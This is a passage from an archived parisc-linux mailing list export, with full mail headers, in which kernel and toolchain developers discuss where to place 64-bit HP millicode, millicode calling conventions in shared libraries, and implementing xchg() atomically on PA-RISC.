	id 02AF75ED; Tue,  2 Jan 2001 14:58:52 -0500 (EST)
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.1/8.9.3 SMKit7.01) with ESMTP id MAA27562;
	Tue, 2 Jan 2001 12:58:51 -0700 (MST)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 14DXa6-0005xq-00; Tue, 02 Jan 2001 12:58:50 -0700
In-Reply-To: Your message of "Tue, 02 Jan 2001 14:39:03 EST."
             <200101021939.OAA07752@hiauly1.hia.nrc.ca> 
Xref: news.gmane.org gmane.linux.ports.parisc:9074

= Last time I looked the 64 bit port was still using the same milli
= library as the 32 bit port.

Yes -- leading to some very surprising 64-bit kernel failures
before I found this "feature".  This is a 64-bit parisc linux gcc bug.

= Thus to integrate a 64 bit library,
= some work would have to be done to the machine description.  There
= are hooks to build asm code (see for example lib1funcs.asm and
= lib2funcs.asm in config/pa).

I've played with this a bit before -- I did the first ELF version of
of 32-bit millicode.  But I'm not at all certain we want to
keep millicode in libgcc.a since there's also some parisc linker magic to
automatically link millicode when required -- because some makefiles
using ld -r break (like the Linux kernel build) unless they're hacked to
include an explicit reference to libgcc.a.

= Has HP contributed this code to the public domain?  Probably, Jeff
= Law would be the one to contact to get integrated into the gcc mainline.

I have permission to sanitize and (L?)GPLize it.  I'm planning to
attempt the basic integration and then let Jeff or someone tell me
how I screwed it up :-)

	-Paul Bame


From - Thu Nov 08 21:14:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] move xchg/cmpxchg to atomic.h
Date: Tue, 02 Jan 2001 12:39:46 -0800
Lines: 41
Approved: news@gmane.org
Message-ID: <200101022039.MAA27208@milano.cup.hp.com>
References: <200101020903.BAA14334@pizda.ninka.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619491 9610 80.91.229.3 (22 Nov 2014 01:24:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:51 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, alan@lxorguk.ukuu.org.uk,
        parisc-linux@thepuffingroup.com
To: "David S. Miller" <davem@redhat.com>
Original-X-From: grundler@cup.hp.com  Tue Jan  2 13:35:01 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA03133
	for <parisc-linux@puffin.external.hp.com>; Tue, 2 Jan 2001 13:35:01 -0700
Original-Received: (qmail 9366 invoked by uid 15267); 2 Jan 2001 20:38:21 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9358 invoked from network); 2 Jan 2001 20:38:21 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 2 Jan 2001 20:38:21 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 5FD813E4; Tue,  2 Jan 2001 12:38:20 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id MAA27208;
	Tue, 2 Jan 2001 12:39:47 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 02 Jan 2001 01:03:48 PST."
             <200101020903.BAA14334@pizda.ninka.net> 
Xref: news.gmane.org gmane.linux.ports.parisc:9075


David,
Sorry for being dense - but I don't see the problem in using
a spinlock to implement xchg(). The example algorithm looks broken.
Or am I missing something obvious here?

"David S. Miller" wrote:
> It is very common to do things like:
> 
> producer(elem)
> {
> 	elem->next = list->head;
> 	xchg(&list->head, elem);
> }
> 
> consumer()
> {
> 	local_list = xchg(&list->head, NULL);
> 	for_each(elem, local_list)
> 		do_something(elem);
> }

producer() looks broken. The problem is two producers can race and
one will put the wrong value of list->head in elem->next.

I think prepending to list->head needs to either be protected by a spinlock
or be a per-cpu data structure. consumer() should be ok assuming the code
can tolerate picking up "late arrivals" in the next pass.
Or am I missing something obvious here?

It's worse if producer were inlined: the arch specific optimisers might
re-order the "elem->next = list->head" statement to be quite a bit more
than 1 or 2 cycles from the xchg() operation.

thanks,
grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:14:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Roman Zippel <zippel@fh-brandenburg.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] move xchg/cmpxchg to atomic.h
Date: Tue, 2 Jan 2001 21:44:42 +0100 (MET)
Lines: 21
Approved: news@gmane.org
Message-ID: <Pine.GSO.4.10.10101022125570.20383-100000@zeus.fh-brandenburg.de>
References: <200101021121.DAA14657@pizda.ninka.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619491 9611 80.91.229.3 (22 Nov 2014 01:24:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:51 +0000 (UTC)
Cc: matthew@wil.cx, grundler@cup.hp.com, linux-kernel@vger.kernel.org,
        alan@lxorguk.ukuu.org.uk, parisc-linux@thepuffingroup.com
To: "David S. Miller" <davem@redhat.com>
Original-X-From: zippel@fh-brandenburg.de  Tue Jan  2 13:53:36 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA03649
	for <parisc-linux@puffin.external.hp.com>; Tue, 2 Jan 2001 13:53:35 -0700
Original-Received: (qmail 6425 invoked by uid 15267); 2 Jan 2001 20:56:56 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6417 invoked from network); 2 Jan 2001 20:56:55 -0000
Original-Received: from baldur.fh-brandenburg.de (195.37.0.5)
  by mailserv2.iuinc.com with SMTP; 2 Jan 2001 20:56:55 -0000
Original-Received: (1587 bytes) by baldur.fh-brandenburg.de
	via sendmail with P:stdio/R:match-inet-hosts/T:smtp
	(sender: <zippel@fh-brandenburg.de>) 
	id <m14DYJ0-000pttC@baldur.fh-brandenburg.de>
	for <parisc-linux@thepuffingroup.com>; Tue, 2 Jan 2001 21:45:14 +0100 (MET)
	(Smail-3.2.0.97 1997-Aug-19 #3 built DST-Sep-15)
Original-Received: from zeus.fh-brandenburg.de(195.37.1.35), claiming to be "zeus"
 via SMTP by baldur.fh-brandenburg.de, id smtpdAAAa0044A; Tue Jan  2 21:45:05 2001
In-Reply-To: <200101021121.DAA14657@pizda.ninka.net>
Xref: news.gmane.org gmane.linux.ports.parisc:9076

Hi,

On Tue, 2 Jan 2001, David S. Miller wrote:

>    We really can't.  We _only_ have load-and-zero.  And it has to be
>    16-byte aligned.  xchg() is just not something the CPU implements.
> 
> Oh bugger... you do have real problems.

For 2.5 we could move all the atomic functions from atomic.h, bitops.h,
system.h and give them a common interface. We could also give them a new
argument atomic_spinlock_t, which is a normal spinlock, but only used on
architectures which need it, everyone else can "optimize" it away. I think
one such lock per major subsystem should be enough, as the lock is only
held for a very short time, so contentation should be no problem.
Anyway, this had the huge advantage that we could use the complete 32/64
bit of the atomic value, e.g. for pointer operations.

bye, Roman



From - Thu Nov 08 21:14:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] where to put 64 bit libmilli?
Date: Tue, 02 Jan 2001 13:17:53 -0700
Lines: 15
Approved: news@gmane.org
Message-ID: <27911.978466673@upchuck>
References: <E14DXa6-0005xq-00@noam.fc.hp.com>
Reply-To: law@redhat.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619491 9615 80.91.229.3 (22 Nov 2014 01:24:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:51 +0000 (UTC)
Cc: "John David Anglin" <dave@hiauly1.hia.nrc.ca>,
        parisc-linux@thepuffingroup.com
To: Paul Bame <bame@fc.hp.com>
Original-X-From: law@upchuck.cygnus.com  Tue Jan  2 16:21:32 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA04837
	for <parisc-linux@puffin.external.hp.com>; Tue, 2 Jan 2001 16:21:31 -0700
Original-Received: (qmail 27605 invoked by uid 15267); 2 Jan 2001 23:24:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27598 invoked from network); 2 Jan 2001 23:24:51 -0000
Original-Received: from runyon.cygnus.com (HELO cygnus.com) (205.180.230.5)
  by mailserv2.iuinc.com with SMTP; 2 Jan 2001 23:24:51 -0000
Original-Received: from upchuck.cygnus.com (taarna.cygnus.com [205.180.230.102])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id PAA23171
	for <parisc-linux@thepuffingroup.com>; Tue, 2 Jan 2001 15:24:49 -0800 (PST)
Original-Received: from upchuck (law@localhost [127.0.0.1])
	by upchuck.cygnus.com (8.8.7/8.8.7) with ESMTP id NAA27914;
	Tue, 2 Jan 2001 13:17:53 -0700
X-Mailer: exmh version 2.0.2
In-reply-to: Your message of Tue, 02 Jan 2001 12:58:50 MST.
             <E14DXa6-0005xq-00@noam.fc.hp.com> 
Original-Sender: law@cygnus.com
Xref: news.gmane.org gmane.linux.ports.parisc:9077

  In message <E14DXa6-0005xq-00@noam.fc.hp.com>you write:
  > I have permission to sanitize and (L?)GPLize it.  I'm planning to
  > attempt the basic integration and then let Jeff or someone tell me
  > how I screwed it up :-)
BTW, if you dig around the GCC CVS tree, you'll find 32bit millicode ready
to work with GNU tools. (gcc/config/pa/lib1funcs.asm)  I don't know if that
would be useful to you or not.

Moving it out of libgcc may or may not make sense.  If I recall the key thing
to remember is that you want copies of those routines in each shared library,
otherwise you can lose in unpleasant ways.  An alternative is to make the
millicode routines themselves into a shared library and everyone links against.

jeff


From - Thu Nov 08 21:14:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: where to put 64 bit libmilli?
Date: Wed, 3 Jan 2001 11:53:12 +1100 (EST)
Lines: 31
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0101031001320.24351-100000@front.linuxcare.com.au>
References: <E14DX12-0005tW-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619492 9620 80.91.229.3 (22 Nov 2014 01:24:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:52 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com
To: Paul Bame <bame@fc.hp.com>
Original-X-From: alan@linuxcare.com.au  Tue Jan  2 17:50:28 2001
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id RAA05735
	for <parisc-linux@puffin.external.hp.com>; Tue, 2 Jan 2001 17:50:22 -0700
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id LAA19155;
	Wed, 3 Jan 2001 11:53:12 +1100
In-Reply-To: <E14DX12-0005tW-00@noam.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:9078

On Tue, 2 Jan 2001, Paul Bame wrote:

> I have source code for HP's 64-bit millicode and am working on making
> it compilable with our tool chain.  But the bigger question is where
> do I put it?
> 
> Right now millicode is part of libgcc.a in top-of-branch gcc, but I
> seem to recall some linker magic, and when/if that happens I don't
> know where to put the millicode stuff.

Distributing libmilli with gcc makes sense as it is gcc that makes use of
the millicode routines, however there's a chicken and egg problem with the
linker.  Once we enable the automagic libmilli search, ld will complain if
it can't find libmilli.a.  That will make the binutils test suite fail 
until gcc is installed.  Hmm, I suppose binutils could install a dummy
libmilli.a to get around that problem.

Anyway, the place to put the source is gcc/config/pa/, installing
libmilli.a to ${prefix}/lib/ for native tool-chains and to
${prefix}/${target}/lib for cross tool-chains.  Err, come to think of it,
the 64 bit linker doesn't yet have the libmilli.a search capability.
Also, we probably want to name the 64 bit millicode library libmilli64.a
so a multi-target linker can choose the right millicode library.

So until I get my act together and find time for some binutils/gcc work,
it may be best to continue putting the millicode functions into libgcc.

Alan
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:14:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <R.Hildebrandt@tu-bs.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] performance computing review of a180
Date: Fri, 14 May 1999 12:07:44 +0200
Organization: Technical University of Braunschweig, Germany
Lines: 38
Approved: news@gmane.org
Message-ID: <19990514120744.K23417@stahlw06.stahl.bau.tu-bs.de>
References: <19990513184043.A20996@master.debian.org> <19990514073913.18827@insula.local>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary=NqNl6FRZtoRUn5bW; micalg=pgp-md5;
	protocol="application/pgp-signature"
X-Trace: ger.gmane.org 1416619492 9621 80.91.229.3 (22 Nov 2014 01:24:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:52 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: hildeb@stahlw06.stahl.bau.tu-bs.de  Fri May 14 04:08:30 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id EAA18929
	for <parisc-linux@puffin.external.hp.com>; Fri, 14 May 1999 04:08:25 -0600
Original-Received: (qmail 14873 invoked by uid 15267); 14 May 1999 10:07:59 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14866 invoked from network); 14 May 1999 10:07:58 -0000
Original-Received: from stahlw06.stahl.bau.tu-bs.de (postfix@134.169.69.226)
  by mailserv2.iuinc.com with SMTP; 14 May 1999 10:07:58 -0000
Original-Received: by stahlw06.stahl.bau.tu-bs.de (Postfix, from userid 236)
	id CBC7314555; Fri, 14 May 1999 12:07:45 +0200 (METDST)
X-Mailer: Mutt 0.95.5i
In-Reply-To: <19990514073913.18827@insula.local>; from Philipp Rumpf on Fri, May 14, 1999 at 07:39:13AM +0000
X-Phone: +49 531 391-3366
X-Fax: +49 531 391-4592
X-ICQ: 23579221
Original-Sender: hildeb@stahlw06.stahl.bau.tu-bs.de
Xref: news.gmane.org gmane.linux.ports.parisc:9079


--NqNl6FRZtoRUn5bW
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: quoted-printable

Am 14.05.1999 um 07:39:13 +0000 schrieb Philipp Rumpf folgendes:

> > "...expansion is not a big issue...the version of bind should have been
> > upgraded to bind 8, and not including sendmail 8.9 we feel is a
> > mistake...performance is not a primary objective for hp with the a-clas=
s.."
>=20
> This should be no problem with Linux.

Neither with 10.x or 11.x, BTW

--=20
Ralf Hildebrandt <R.Hildebrandt@tu-bs.de> www.stahl.bau.tu-bs.de/~hildeb
Applying computer technology is simply finding the right wrench to
pound in the correct screw.=20


--NqNl6FRZtoRUn5bW
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: PGPfreeware 5.0i for non-commercial use
MessageID: BXq4NrXmRyP361QWdRkTj162e0wSIG5G

iQCVAwUBNzv170nh/jPvZzKNAQGEmgP+MVqESa7BcfgQuw8Z5Sh1tbFsRnzwK2jX
FNX6HwLcGjyD7Owd4EyOqV3IvpTazsG2OKTpprmrkJnrdfmhiehncXaR1ggNqoDW
GBMk64SpjqMVmcZVY4MazXUocoaBlYvpUkh3NVqahbQV9UQTU5nN35UKqtqXHsix
7YK8Us0iXsM=
=YJzk
-----END PGP SIGNATURE-----

--NqNl6FRZtoRUn5bW--


From - Thu Nov 08 21:14:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] where to put 64 bit libmilli?
Date: Wed, 3 Jan 2001 12:46:52 +1100 (EST)
Lines: 18
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0101031235310.24351-100000@front.linuxcare.com.au>
References: <27911.978466673@upchuck>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619492 9623 80.91.229.3 (22 Nov 2014 01:24:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:52 +0000 (UTC)
Cc: Paul Bame <bame@fc.hp.com>, John David Anglin <dave@hiauly1.hia.nrc.ca>,
        parisc-linux@thepuffingroup.com
To: Jeffrey A Law <law@redhat.com>
Original-X-From: alan@linuxcare.com.au  Tue Jan  2 18:43:58 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA06471
	for <parisc-linux@puffin.external.hp.com>; Tue, 2 Jan 2001 18:43:57 -0700
Original-Received: (qmail 27822 invoked by uid 15267); 3 Jan 2001 01:47:18 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27790 invoked from network); 3 Jan 2001 01:47:17 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 3 Jan 2001 01:47:17 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id MAA20552;
	Wed, 3 Jan 2001 12:46:53 +1100
In-Reply-To: <27911.978466673@upchuck>
Xref: news.gmane.org gmane.linux.ports.parisc:9080

On Tue, 2 Jan 2001, Jeffrey A Law wrote:

> Moving it out of libgcc may or may not make sense.  If I recall the key thing
> to remember is that you want copies of those routines in each shared library,
> otherwise you can lose in unpleasant ways.  An alternative is to make the
> millicode routines themselves into a shared library and everyone links against.

The real reason that we currently need separate millicode routines for
each shared lib is that linkage to millicode functions is different than
for normal functions.  In particular, you don't want to load r19 (32 bit
case) or r27 (64 bit case) when calling millicode.  Therefore, a shared
millicode lib would require special .plt entries.  Not too hard to do,
just a bit messy.

Alan
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:14:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] where to put 64 bit libmilli?
Date: Wed, 3 Jan 2001 01:57:30 +0000
Lines: 10
Approved: news@gmane.org
Message-ID: <20010103015730.D25349@parcelfarce.linux.theplanet.co.uk>
References: <27911.978466673@upchuck> <Pine.LNX.4.21.0101031235310.24351-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619493 9625 80.91.229.3 (22 Nov 2014 01:24:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:53 +0000 (UTC)
Cc: Jeffrey A Law <law@redhat.com>, Paul Bame <bame@fc.hp.com>,
        John David Anglin <dave@hiauly1.hia.nrc.ca>,
        parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: willy@www.linux.org.uk  Tue Jan  2 18:54:29 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA06775
	for <parisc-linux@puffin.external.hp.com>; Tue, 2 Jan 2001 18:54:28 -0700
Original-Received: (qmail 5251 invoked by uid 15267); 3 Jan 2001 01:57:49 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5241 invoked from network); 3 Jan 2001 01:57:49 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 3 Jan 2001 01:57:49 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14DdBC-0007qf-00; Wed, 03 Jan 2001 01:57:30 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <Pine.LNX.4.21.0101031235310.24351-100000@front.linuxcare.com.au>; from alan@linuxcare.com.au on Wed, Jan 03, 2001 at 12:46:52PM +1100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9081

On Wed, Jan 03, 2001 at 12:46:52PM +1100, Alan Modra wrote:
> The real reason that we currently need separate millicode routines for
> each shared lib is that linkage to millicode functions is different than
> for normal functions.  In particular, you don't want to load r19 (32 bit

is there a good reason to keep the millicode calling conventions?

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:14:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] where to put 64 bit libmilli?
Date: Wed, 3 Jan 2001 13:34:04 +1100 (EST)
Lines: 9
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0101031327250.24351-100000@front.linuxcare.com.au>
References: <20010103015730.D25349@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619493 9627 80.91.229.3 (22 Nov 2014 01:24:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:53 +0000 (UTC)
Cc: Jeffrey A Law <law@redhat.com>, Paul Bame <bame@fc.hp.com>,
        John David Anglin <dave@hiauly1.hia.nrc.ca>,
        parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: alan@linuxcare.com.au  Tue Jan  2 19:31:59 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA07395
	for <parisc-linux@puffin.external.hp.com>; Tue, 2 Jan 2001 19:31:59 -0700
Original-Received: (qmail 8431 invoked by uid 15267); 3 Jan 2001 02:35:19 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8366 invoked from network); 3 Jan 2001 02:35:14 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 3 Jan 2001 02:35:14 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id NAA21756;
	Wed, 3 Jan 2001 13:34:04 +1100
In-Reply-To: <20010103015730.D25349@parcelfarce.linux.theplanet.co.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9082

On Wed, 3 Jan 2001, Matthew Wilcox wrote:

> is there a good reason to keep the millicode calling conventions?

It's faster and doesn't require that gcc reload gp.

-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:14:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] where to put 64 bit libmilli?
Date: Tue, 02 Jan 2001 20:37:35 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <1895.978493055@upchuck>
References: <Pine.LNX.4.21.0101031235310.24351-100000@front.linuxcare.com.au>
Reply-To: law@redhat.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619493 9630 80.91.229.3 (22 Nov 2014 01:24:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:53 +0000 (UTC)
Cc: Paul Bame <bame@fc.hp.com>, John David Anglin <dave@hiauly1.hia.nrc.ca>,
        parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: law@upchuck.cygnus.com  Tue Jan  2 20:37:44 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id UAA07861
	for <parisc-linux@puffin.external.hp.com>; Tue, 2 Jan 2001 20:37:44 -0700
Original-Received: (qmail 3320 invoked by uid 15267); 3 Jan 2001 03:41:05 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3311 invoked from network); 3 Jan 2001 03:41:04 -0000
Original-Received: from runyon.cygnus.com (HELO cygnus.com) (205.180.230.5)
  by mailserv2.iuinc.com with SMTP; 3 Jan 2001 03:41:04 -0000
Original-Received: from upchuck.cygnus.com (taarna.cygnus.com [205.180.230.102])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id TAA08467
	for <parisc-linux@thepuffingroup.com>; Tue, 2 Jan 2001 19:41:02 -0800 (PST)
Original-Received: from upchuck (law@localhost [127.0.0.1])
	by upchuck.cygnus.com (8.8.7/8.8.7) with ESMTP id UAA01898;
	Tue, 2 Jan 2001 20:37:35 -0700
X-Mailer: exmh version 2.0.2
In-reply-to: Your message of Wed, 03 Jan 2001 12:46:52 +1100.
             <Pine.LNX.4.21.0101031235310.24351-100000@front.linuxcare.com.au> 
Original-Sender: law@cygnus.com
Xref: news.gmane.org gmane.linux.ports.parisc:9083



  In message <Pine.LNX.4.21.0101031235310.24351-100000@front.linuxcare.com.au>y
ou write:
  > The real reason that we currently need separate millicode routines for
  > each shared lib is that linkage to millicode functions is different than
  > for normal functions.  In particular, you don't want to load r19 (32 bit
  > case) or r27 (64 bit case) when calling millicode.  Therefore, a shared
  > millicode lib would require special .plt entries.  Not too hard to do,
  > just a bit messy.
So what happens in this case.

Pretend shared library A references $$div from the millicode routines.  Also
assume that the main program does not reference $$div.  Also assume that
the shared library is _not_ referenced on the link line for the main
program, but instead is sucked in via dl_open calls.

The shared library will have an undefined reference for $$div which can't
be satisfied and will terminate the application if we execute a path in
the shared library which calls $$div.


jeff


From - Thu Nov 08 21:14:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] where to put 64 bit libmilli?
Date: Wed, 3 Jan 2001 15:11:33 +1100 (EST)
Lines: 33
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0101031509470.24351-100000@front.linuxcare.com.au>
References: <1895.978493055@upchuck>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619494 9637 80.91.229.3 (22 Nov 2014 01:24:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:54 +0000 (UTC)
Cc: Paul Bame <bame@fc.hp.com>, John David Anglin <dave@hiauly1.hia.nrc.ca>,
        parisc-linux@thepuffingroup.com
To: Jeffrey A Law <law@redhat.com>
Original-X-From: alan@linuxcare.com.au  Tue Jan  2 21:08:29 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id VAA08296
	for <parisc-linux@puffin.external.hp.com>; Tue, 2 Jan 2001 21:08:29 -0700
Original-Received: (qmail 29631 invoked by uid 15267); 3 Jan 2001 04:11:50 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29611 invoked from network); 3 Jan 2001 04:11:49 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
